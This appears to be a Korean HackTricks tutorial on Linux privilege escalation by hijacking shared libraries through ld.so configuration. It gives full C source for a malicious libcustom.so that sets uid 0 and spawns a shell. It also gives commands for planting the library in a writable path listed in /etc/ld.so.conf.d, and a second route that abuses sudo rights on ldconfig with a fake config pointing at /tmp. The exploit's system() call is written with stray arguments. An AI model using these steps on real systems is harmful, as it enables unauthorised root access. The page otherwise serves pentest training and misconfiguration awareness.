ld.so privesc exploit example

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

ν™˜κ²½ μ€€λΉ„

λ‹€μŒ μ„Ήμ…˜μ—μ„œλŠ” ν™˜κ²½μ„ μ€€λΉ„ν•˜λŠ” 데 μ‚¬μš©ν•  파일의 μ½”λ“œλ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. νŒŒμΌμ„ 같은 폴더에 μƒμ„±ν•©λ‹ˆλ‹€.
  2. 라이브러리λ₯Ό μ»΄νŒŒμΌν•©λ‹ˆλ‹€: gcc -shared -o libcustom.so -fPIC libcustom.c
  3. libcustom.soλ₯Ό /usr/lib둜 λ³΅μ‚¬ν•©λ‹ˆλ‹€: sudo cp libcustom.so /usr/lib (루트 κΆŒν•œ)
  4. μ‹€ν–‰ νŒŒμΌμ„ μ»΄νŒŒμΌν•©λ‹ˆλ‹€: gcc sharedvuln.c -o sharedvuln -lcustom

ν™˜κ²½ 확인

_libcustom.so_κ°€ _/usr/lib_μ—μ„œ λ‘œλ“œλ˜κ³  있으며, 이진 νŒŒμΌμ„ μ‹€ν–‰ν•  수 μžˆλŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

이 μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” λˆ„κ΅°κ°€κ°€ /etc/ld.so.conf/ 파일 μ•ˆμ— μ·¨μ•½ν•œ ν•­λͺ©μ„ μƒμ„±ν–ˆλ‹€κ³  κ°€μ •ν•©λ‹ˆλ‹€:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

μ·¨μ•½ν•œ ν΄λ”λŠ” _/home/ubuntu/lib_μž…λ‹ˆλ‹€ (μ—¬κΈ°μ—μ„œ μ“°κΈ° κΆŒν•œμ΄ μžˆμŠ΅λ‹ˆλ‹€).
λ‹€μŒ μ½”λ“œλ₯Ό λ‹€μš΄λ‘œλ“œν•˜κ³  ν•΄λ‹Ή κ²½λ‘œμ—μ„œ μ»΄νŒŒμΌν•˜μ„Έμš”:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

이제 잘λͺ» κ΅¬μ„±λœ 경둜 μ•ˆμ— μ•…μ„± libcustom 라이브러리λ₯Ό μƒμ„±ν–ˆμœΌλ―€λ‘œ, μž¬λΆ€νŒ…μ„ κΈ°λ‹€λ¦¬κ±°λ‚˜ 루트 μ‚¬μš©μžκ°€ **ldconfig**λ₯Ό μ‹€ν–‰ν•˜κΈ°λ₯Ό κΈ°λ‹€λ €μ•Ό ν•©λ‹ˆλ‹€ (이 λ°”μ΄λ„ˆλ¦¬λ₯Ό sudo둜 μ‹€ν–‰ν•  수 μžˆκ±°λ‚˜ suid λΉ„νŠΈκ°€ μ„€μ •λ˜μ–΄ μžˆλ‹€λ©΄ 직접 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€).

이 일이 λ°œμƒν•œ ν›„ λ‹€μ‹œ ν™•μΈν•˜μ—¬ sharevuln μ‹€ν–‰ 파일이 libcustom.so 라이브러리λ₯Ό μ–΄λ””μ—μ„œ λ‘œλ“œν•˜λŠ”μ§€ ν™•μΈν•˜μ‹­μ‹œμ˜€:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

λ³΄μ‹œλ‹€μ‹œν”Ό /home/ubuntu/libμ—μ„œ λ‘œλ“œλ˜κ³  μ‚¬μš©μžκ°€ 이λ₯Ό μ‹€ν–‰ν•˜λ©΄ 셸이 μ‹€ν–‰λ©λ‹ˆλ‹€:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Note

이 μ˜ˆμ œμ—μ„œλŠ” κΆŒν•œ μƒμŠΉμ„ ν•˜μ§€ μ•Šμ•˜μ§€λ§Œ, μ‹€ν–‰λ˜λŠ” λͺ…령을 μˆ˜μ •ν•˜κ³  루트 λ˜λŠ” λ‹€λ₯Έ κΆŒν•œμ΄ μžˆλŠ” μ‚¬μš©μžκ°€ μ·¨μ•½ν•œ λ°”μ΄λ„ˆλ¦¬λ₯Ό μ‹€ν–‰ν•˜κΈ°λ₯Ό 기닀리면 κΆŒν•œμ„ μƒμŠΉμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

λ‹€λ₯Έ 잘λͺ»λœ ꡬ성 - λ™μΌν•œ 취약점

이전 μ˜ˆμ œμ—μ„œλŠ” κ΄€λ¦¬μžκ°€ /etc/ld.so.conf.d/ λ‚΄μ˜ ꡬ성 파일 μ•ˆμ— λΉ„κΆŒν•œ 폴더λ₯Ό μ„€μ •ν•œ 잘λͺ»λœ ꡬ성을 κ°€μž₯ν–ˆμŠ΅λ‹ˆλ‹€.
ν•˜μ§€λ§Œ λ™μΌν•œ 취약점을 μœ λ°œν•  수 μžˆλŠ” λ‹€λ₯Έ 잘λͺ»λœ ꡬ성도 μžˆμŠ΅λ‹ˆλ‹€. /etc/ld.so.conf.d λ‚΄μ˜ 일뢀 ꡬ성 νŒŒμΌμ— μ“°κΈ° κΆŒν•œμ΄ μžˆκ±°λ‚˜, /etc/ld.so.conf.d 폴더 λ˜λŠ” /etc/ld.so.conf νŒŒμΌμ— μ“°κΈ° κΆŒν•œμ΄ 있으면 λ™μΌν•œ 취약점을 κ΅¬μ„±ν•˜κ³  이λ₯Ό μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Exploit 2

ldconfig에 λŒ€ν•œ sudo κΆŒν•œμ΄ μžˆλ‹€κ³  κ°€μ •ν•΄ λ³΄κ² μŠ΅λ‹ˆλ‹€.
ldconfig에 ꡬ성 νŒŒμΌμ„ μ–΄λ””μ„œ λ‘œλ“œν• μ§€ μ§€μ‹œν•  수 μžˆμœΌλ―€λ‘œ, 이λ₯Ό μ΄μš©ν•΄ ldconfigκ°€ μž„μ˜μ˜ 폴더λ₯Ό λ‘œλ“œν•˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
λ”°λΌμ„œ β€œ/tmpβ€œλ₯Ό λ‘œλ“œν•˜λŠ” 데 ν•„μš”ν•œ 파일과 폴더λ₯Ό 생성해 λ³΄κ² μŠ΅λ‹ˆλ‹€:

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

이제 이전 μ΅μŠ€ν”Œλ‘œμž‡μ—μ„œ μ–ΈκΈ‰ν•œ λŒ€λ‘œ, /tmp μ•ˆμ— μ•…μ„± 라이브러리λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€.
λ§ˆμ§€λ§‰μœΌλ‘œ, 경둜λ₯Ό λ‘œλ“œν•˜κ³  λ°”μ΄λ„ˆλ¦¬κ°€ 라이브러리λ₯Ό μ–΄λ””μ—μ„œ λ‘œλ“œν•˜λŠ”μ§€ 확인해 λ΄…μ‹œλ‹€:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

λ³΄μ‹œλ‹€μ‹œν”Ό, ldconfig에 λŒ€ν•œ sudo κΆŒν•œμ΄ 있으면 λ™μΌν•œ 취약점을 μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°